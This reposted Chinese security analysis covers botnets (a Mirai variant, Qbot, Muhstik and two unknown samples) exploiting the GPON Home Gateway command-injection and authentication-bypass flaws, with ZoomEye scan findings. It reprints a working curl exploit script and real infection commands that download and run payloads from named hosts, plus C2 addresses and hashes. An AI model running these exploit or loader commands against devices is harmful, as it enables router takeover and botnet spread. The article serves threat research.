溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶(hù)服務(wù)條款》

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

發(fā)布時(shí)間:2021-11-11 18:05:28 來(lái)源:億速云 閱讀:224 作者:柒染 欄目:安全技術(shù)

這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

0x00 前言

一. 漏洞詳情

2018/04/30,vpnMentor 公布了 GPON 路由器的高危漏洞:驗(yàn)證繞過(guò)漏洞 (CVE-2018-10561) 和命令注入漏洞 (CVE-2018-10562)。由于只需要發(fā)送一個(gè)請(qǐng)求,就可以在 GPON 路由器 上執(zhí)行任意命令,所以在上一篇文章《GPON Home Gateway 遠(yuǎn)程命令執(zhí)行漏洞分析》,我們給出了僵尸網(wǎng)絡(luò)的相關(guān)預(yù)警。

結(jié)合 ZoomEye 網(wǎng)絡(luò)空間搜索引擎以及對(duì)漏洞原理的詳細(xì)研究,我們對(duì) GPON Home Gateway 遠(yuǎn)程命令執(zhí)行漏洞被利用情況進(jìn)行了深入的研究,意外地發(fā)現(xiàn)利用該漏洞的僵尸網(wǎng)絡(luò)是可以被監(jiān)控的。

短短的四天時(shí)間內(nèi),這片路由器的戰(zhàn)場(chǎng),競(jìng)爭(zhēng)、撤退、消亡時(shí)時(shí)刻刻都在上演,在每一個(gè)路由器的背后,每天都有著多個(gè)不同的惡意控制者,故事精彩得難以想象。

二. 檢測(cè)原理

漏洞發(fā)現(xiàn)者給出的利用腳本如下:

1  #!/bin/bash3  3  echo 「[+] Sending the Command… 「4  # We send the commands with two modes backtick (`) and semicolon (;) because different models trigger on different devices5  curl -k -d 「XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=\`$2\`;$2&ipv=0」 $1/GponForm/diag_Form?images/ 2>/dev/null 1>/dev/null6  echo 「[+] Waiting….」7  sleep 38  echo 「[+] Retrieving the ouput….」9  curl -k $1/diag.html?images/ 2>/dev/null | grep 『diag_result = 『 | sed -e 『s/\\n/\n/g』

該腳本邏輯如下:

步驟 1(行 5):將注入的命令發(fā)送至/GponForm/diag_Form 并被執(zhí)行。

步驟 2(行 9):利用繞過(guò)漏洞訪問(wèn) diag.html 頁(yè)面獲取命令執(zhí)行的結(jié)果。

關(guān)鍵點(diǎn)在第二步:

當(dāng)我們不使用 grep diag_result 去過(guò)濾返回的結(jié)果,將會(huì)發(fā)現(xiàn)部分路由器會(huì)將 diag_host 也一并返回。而參數(shù) diag_host 就是步驟 1 中注入的命令。

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

這就意味著,通過(guò) ZoomEye 網(wǎng)絡(luò)空間搜索引擎,我們可以監(jiān)控互聯(lián)網(wǎng)上相關(guān)路由器的 diag.html 頁(yè)面,從而了解僵尸網(wǎng)絡(luò)的活動(dòng)情況。

0x01 被利用情況

ZoomEye 網(wǎng)絡(luò)空間搜索引擎在 2018/05/05、2018/05/07、2018/05/08 進(jìn)行了三次探測(cè),一共發(fā)現(xiàn)了與僵尸網(wǎng)絡(luò)相關(guān)的命令 12 處。

一. 被利用情況總覽

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

二. 詳細(xì)介紹

1. Mirai 變種僵尸網(wǎng)絡(luò) THANOS

這是一個(gè)在我們研究前撤退、研究時(shí)重新歸來(lái)的僵尸網(wǎng)絡(luò)
使用的感染命令如下:
編號(hào) 1 busybox wget http://104.243.44.250/mips -O /tmp/m 
編號(hào) 10 busybox wget http://82.202.166.101/mips -O -

1.1 104.243.44.250 樣本

在我們發(fā)現(xiàn)相關(guān)攻擊痕跡時(shí),樣本已無(wú)法下載。看起來(lái)就像始作俑者已經(jīng)撤退。

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

但是我們?nèi)匀粡穆酚善魃线\(yùn)行的樣本中了解到該僵尸網(wǎng)絡(luò)的行為:

· 當(dāng)前進(jìn)程

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

· 網(wǎng)絡(luò)連接情況

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

· CNC 82.202.166.101:45,2018/05/05 未連接成功(2018/05/09 發(fā)現(xiàn)該 CNC 重新打開(kāi))

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

由于該惡意樣本擁有生成隨機(jī)進(jìn)程名、對(duì)外爆破 23 端口等特征,故可能是 Mirai 僵尸網(wǎng)絡(luò)或其變種。

1.2 82.202.166.101 樣本

# sha256sum 82.202.166.101/mips
94717b25e400e142ce14305bf707dfcfe8327986fa187a2c5b32b028898a39ec  82.202.166.101/mips

2018/05/07,我們發(fā)現(xiàn)了少量該樣本的感染痕跡,通過(guò)進(jìn)一步研究,我們認(rèn)為該僵尸網(wǎng)絡(luò)已經(jīng)回歸。由于該樣本直接在 1.1 中的 CNC 主機(jī)上傳播,運(yùn)行時(shí)依舊會(huì)生成隨機(jī)進(jìn)程名,對(duì)外爆破 23 端口,故我們將兩者歸為同一僵尸網(wǎng)絡(luò)家族。

新的 CNC

185.232.65.169:8080

新的 CNC 上線包如下

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

根據(jù)這個(gè)上線包,我們將該僵尸網(wǎng)絡(luò)稱(chēng)為 Mirai 變種僵尸網(wǎng)絡(luò) THANOS

2. Q bot 僵尸網(wǎng)絡(luò)變種

這是一個(gè)持續(xù)存在的僵尸網(wǎng)絡(luò),在我們?nèi)翁綔y(cè)中均有出現(xiàn)。預(yù)計(jì)感染了大量設(shè)備。
使用的感染命令如下:
編號(hào) 2 busybox wget http://185.244.25.162/mips -O /tmp/.m 
編號(hào) 7 busybox wget http://58.215.144.205/mips -O /tmp/.q
編號(hào) 12 busybox wget http://58.215.144.205/mips -O /tmp/adj

   2.1 185.244.25.162 樣本

# sha256sum 185.244.25.162/mips
73473c37e5590bd3eb043e33e2f8832989b88f99449582399522c63d4d46251e 185.244.25.162/mips
# file 185.244.25.162/mips
185.244.25.162/mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

該惡意樣本屬于 MIPS 架構(gòu),使用 UPX 加殼。在脫殼對(duì)其進(jìn)行逆向的過(guò)程中,我們意外發(fā)現(xiàn)了與該樣本相關(guān)的源碼:https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c

但該樣本和源碼依然有很多地方不同:

對(duì)外掃描的 IP 段不同,樣本中對(duì)外掃描的 IP 段如下:

該樣本在對(duì)外掃描時(shí),只會(huì)掃描表格中的這些 IP

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

· kill 別的 bot 的列表

該樣本會(huì)檢測(cè)路由器中已有的進(jìn)程,如果遇到下列可能屬于其它僵尸網(wǎng)絡(luò)的進(jìn)程,將會(huì)進(jìn)行 kill 操作 (匹配的關(guān)鍵詞遠(yuǎn)比源碼中的豐富)

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

該樣本的 CNC 為: 185.33.145.92:252, 該 CNC 依舊處于活躍狀態(tài)

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

需要注意的是

該樣本內(nèi)置了 DDoS 攻擊模塊,可以根據(jù) CNC 指令發(fā)動(dòng) TCP、UDP、HTTP 洪水攻擊

該樣本內(nèi)置了 netcore backdoor 利用模塊,并且可以通過(guò) CNC 開(kāi)啟對(duì)外掃描(默認(rèn)關(guān)閉,相關(guān)漏洞詳情可以參考鏈接:http://blog.knownsec.com/2015/01/a-brief-analysis-of-netcore-netis-leak-emergency/)

利用腳本如下:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.33.145.92/miggs.sh; chmod 777 miggs.sh; sh miggs.sh; tftp 185.33.145.92 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 185.33.145.92; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 185.33.145.92 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf miggs.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *; history -c

2.2 58.215.144.205 樣本(2018/05/07 版本)

# sha256sum 58.215.144.205/mips
41111f0941b323c13ca84caf1e552dc78caac713f4dc1a03fc322c1febcbd6ba  58.215.144.205/mips

該樣本的感染邏輯沒(méi)有太大變化, CNC 與上文相同,為: 185.33.145.92:252,所以我們認(rèn)為這與上文同屬于 Q bot 僵尸網(wǎng)絡(luò)家族的變種。

2.3 58.215.144.205 樣本(2018/05/08 版本)

# sha256sum 0508/58.215.144.205/mips
9590cc3c1e7a32f6221528b526212b2ad87b793b885639580c276243ec60830b 0508/58.215.144.205/mips

2018/05/08,58.215.144.205/mips 更新了相關(guān)的樣本。通過(guò)逆向的結(jié)果看,新的樣本與之前的邏輯完全不同,惡意控制者更換了控制的程序。

新的樣本看起來(lái)更像是 Mirai 僵尸網(wǎng)絡(luò)的新變種,具體的感染細(xì)節(jié)我們?nèi)栽诔掷m(xù)跟進(jìn)中。

該樣本的 CNC 為 linuxusaarm.com:443

3. Muhstik 僵尸網(wǎng)絡(luò)

2018/04/20,360netlab 曝光了一個(gè)長(zhǎng)期存在的僵尸網(wǎng)絡(luò):Muhstik 僵尸網(wǎng)絡(luò)。在本次漏洞事件中,我們也發(fā)現(xiàn)了大量 Muhstik 僵尸網(wǎng)絡(luò)的身影。

該僵尸網(wǎng)絡(luò)使用的感染命令如下:

編號(hào) 3 wget -qO - http://162.243.211.204/gpon|sh 

編號(hào) 4 wget -qO - http://162.243.211.204/aio|sh

編號(hào) 5 wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping

編號(hào) 8 wget -qO - http://54.39.23.28/1sh | sh

編號(hào) 9 wget -qO - http://104.54.236.173/gpon | sh

由于該僵尸網(wǎng)絡(luò)樣本眾多,多條命令有多次重復(fù)感染。故我們通過(guò)下圖展示各樣本和各 IP 的聯(lián)系:

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

圖中紅點(diǎn)代表各 IP,灰點(diǎn)代表感染的 bash 腳本,黃點(diǎn)代表各惡意樣本,藍(lán)點(diǎn)代表出現(xiàn)的鏈接,紅線代表從 bash 腳本中下載的樣本

各感染腳本如下:

# cat 104.54.236.173/gponwget -O /tmp/cron http://162.243.211.204/cron; chmod +x /tmp/cron; chmod 700 /tmp/cron; /tmp/cron &wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp  &# cat 162.243.211.204/gponwget -O /tmp/nsshcron http://162.243.211.204/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron&wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp  &# cat 162.243.211.204/gponwget -O /tmp/nsshcron http://162.243.211.204/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron&wget -O /tmp/nsshpftp http://162.243.211.204/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp  &root@vultr:~/gpon# cat 54.39.23.28/1shwget -O /tmp/cron http://51.254.221.129/c/cron; chmod +x /tmp/cron; chmod 700 /tmp/cron; /tmp/cron &wget -O /tmp/tfti http://51.254.221.129/c/tfti; chmod +x /tmp/tfti; chmod 700 /tmp/tfti; /tmp/tfti &wget -O /tmp/pftp http://51.254.221.129/c/pftp; chmod +x /tmp/pftp; chmod 700 /tmp/pftp; /tmp/pftp &wget -O /tmp/ntpd http://51.254.221.129/c/ntpd; chmod +x /tmp/ntpd; chmod 700 /tmp/ntpd; /tmp/ntpd  &wget -O /tmp/sshd http://51.254.221.129/c/sshd; chmod +x /tmp/sshd; chmod 700 /tmp/sshd; /tmp/sshd  &wget -O /tmp/bash http://51.254.221.129/c/bash; chmod +x /tmp/bash; chmod 700 /tmp/bash; /tmp/bash  &wget -O /tmp/pty http://51.254.221.129/c/pty; chmod +x /tmp/pty; chmod 700 /tmp/pty; /tmp/pty  &wget -O /tmp/shy http://51.254.221.129/c/shy; chmod +x /tmp/shy; chmod 700 /tmp/shy; /tmp/shy  &wget -O /tmp/nsshtfti http://51.254.221.129/c/nsshtfti; chmod +x /tmp/nsshtfti; chmod 700 /tmp/nsshtfti; /tmp/nsshtfti &wget -O /tmp/nsshcron http://51.254.221.129/c/nsshcron; chmod +x /tmp/nsshcron; chmod 700 /tmp/nsshcron; /tmp/nsshcron  &wget -O /tmp/nsshpftp http://51.254.221.129/c/nsshpftp; chmod +x /tmp/nsshpftp; chmod 700 /tmp/nsshpftp; /tmp/nsshpftp  &fetch -o /sbin/kmpathd http://51.254.221.129/c/fbsd; chmod +x /sbin/kmpathd; /sbin/kmpathd &

各樣本 sha256 值如下:

5f2b198701ce619c6af308bcf3cdb2ef36ad2a5a01b9d9b757de1b066070dad7  51.254.221.129/c/bash
f12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f  51.254.221.129/c/cron
54b951302c8da4f9de837a0309cce034a746345d2f96a821c7fc95aa93752d43  51.254.221.129/c/fbsd
2cfa79ce4059bbc5798f6856cf82af7fce1d161d6ef398c07f01a010ba5299ea  51.254.221.129/c/nsshcron
3ca8c549357d6121b96256715709bccf16a249dcc45bad482f6c8123fc75642f  51.254.221.129/c/nsshpftp
d4fba221b1a706dd3c617e33077d1072b37b2702c3235d342d94abfd032ba5f8  51.254.221.129/c/nsshtfti
e2267edd2b70b5f42a2da942fa47cca98e745f2f2ff8f3bbf7baf8b1331c1a89  51.254.221.129/c/ntpd
cfc82255b7e75da9cd01cffdfd671ccf6fafaa3f705041d383149c1191d8bdff  51.254.221.129/c/pftp
5e8398c89631ea8d9e776ec9bdd6348cb32a77b300ab8b4ead1860a6a1e50be7  51.254.221.129/c/pty
948ef8732346e136320813aade0737540ef498945c1ea14f26a2677e4d64fdee  51.254.221.129/c/shy
5477129edd21ce219e2a8ecf4c0930532c73417702215f5813c437f66c8b0299  51.254.221.129/c/sshd
c937caa3b2e6cbf2cc67d02639751c320c8832047ff3b7ad5783e0fd9c2d7bae  51.254.221.129/c/tfti
3138079caea0baa50978345b58b8d4b05db461b808710146d4e0abb5461c97df  162.243.211.204/aiomips
f12aa6748543fde5d3b6f882418035634d559fc4ab222d6cfb399fd659b5e34f  162.243.211.204/cron
5b71ba608e417fb966ff192578d705a05eab4ff825541d9394c97271196cfd69  162.243.211.204/mrt

CNC

192.99.71.250:9090

4. 未知樣本 1

該樣本使用的感染命令如下:
編號(hào) 6 curl -fsSL http://ztccds.freesfocss.com/test.txt | sh

# sha256sum ztccds.freesfocss.com/zt_arm
24602f1c6d354e3a37d4a2e2dd9cef0098f390e1297c096997cc20da4795f2a2  ztccds.freesfocss.com/zt_arm

該樣本會(huì)連接 ztccds.freesfocss.com:23364, 樣本具體功能仍在研究中。

5. 未知樣本 2

該樣本使用的感染命令如下:
編號(hào) 11 busybox wget http://185.246.152.173/omni -O /tmp/talk
該樣本運(yùn)行的命令為 /tmp/talk gpon

# sha256sum 185.246.152.173/omni
18c23bd57c8247db1de2413ce3ff9e61c5504c43cbadaaefce2fb59f4b3c10a0  185.246.152.173/omni

該樣本會(huì)連接 185.246.152.173:1000, 但該端口已經(jīng)關(guān)閉 (2018/05/09)。

0x02 受影響主機(jī)范圍

注:由于僅探測(cè)了 diag.html 頁(yè)面,故在多輪探測(cè)中我們只能確定哪些主機(jī)被攻擊,無(wú)法判斷攻擊者是否攻擊成功

一. 探測(cè)到的主機(jī)均集中在墨西哥

在對(duì)探測(cè)到的主機(jī)進(jìn)行地域劃分時(shí),三輪探測(cè)中被攻擊的 IP 都位于墨西哥。
對(duì)受影響最多的五個(gè)國(guó)家進(jìn)行抽樣測(cè)試,結(jié)果如下:

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

該漏洞存在與墨西哥和哈薩克斯坦,但是由于固件不同,只有墨西哥的路由器會(huì)返回 diag_host,所以我們僅監(jiān)測(cè)到墨西哥的路由器受影響情況。

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

由于墨西哥的設(shè)備占據(jù)了全球設(shè)備的一半以上,我們認(rèn)為相關(guān)數(shù)據(jù)依舊可以反應(yīng)僵尸網(wǎng)絡(luò)的實(shí)際情況。

二. 受攻擊的路由器執(zhí)行的命令情況

由于 2018/05/05 第一輪探測(cè)中只統(tǒng)計(jì)了存在/tmp 字段的 diag_host 的內(nèi)容,所以第一輪探測(cè)的數(shù)據(jù)具有一定的局限性。

如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析

可以很明顯看出:

確認(rèn)被攻擊的路由器數(shù)量在不斷增加

各僵尸網(wǎng)絡(luò)活動(dòng)頻繁,2018/05/07 Muhstik 僵尸網(wǎng)絡(luò)發(fā)動(dòng)大量攻擊,而 2018/05/08 就變成了 Q bot 僵尸網(wǎng)絡(luò)變種。僵尸網(wǎng)絡(luò)之間的競(jìng)爭(zhēng)可見(jiàn)一斑。

0x03 結(jié)語(yǔ)

近年來(lái),僵尸網(wǎng)絡(luò)逐漸盯上攻擊簡(jiǎn)單但危害巨大的物聯(lián)網(wǎng)漏洞。從去年的 GoAhead 到今年的 GPON 事件,無(wú)不在提醒我們物聯(lián)網(wǎng)安全的重要性。能結(jié)合 ZoomEye 網(wǎng)絡(luò)空間搜索引擎了解到 GPON 事件背后活躍的僵尸網(wǎng)絡(luò)動(dòng)態(tài),對(duì)我們來(lái)說(shuō)就是一種收獲。

關(guān)于如何進(jìn)行GPON Home Gateway遠(yuǎn)程命令執(zhí)行漏洞分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI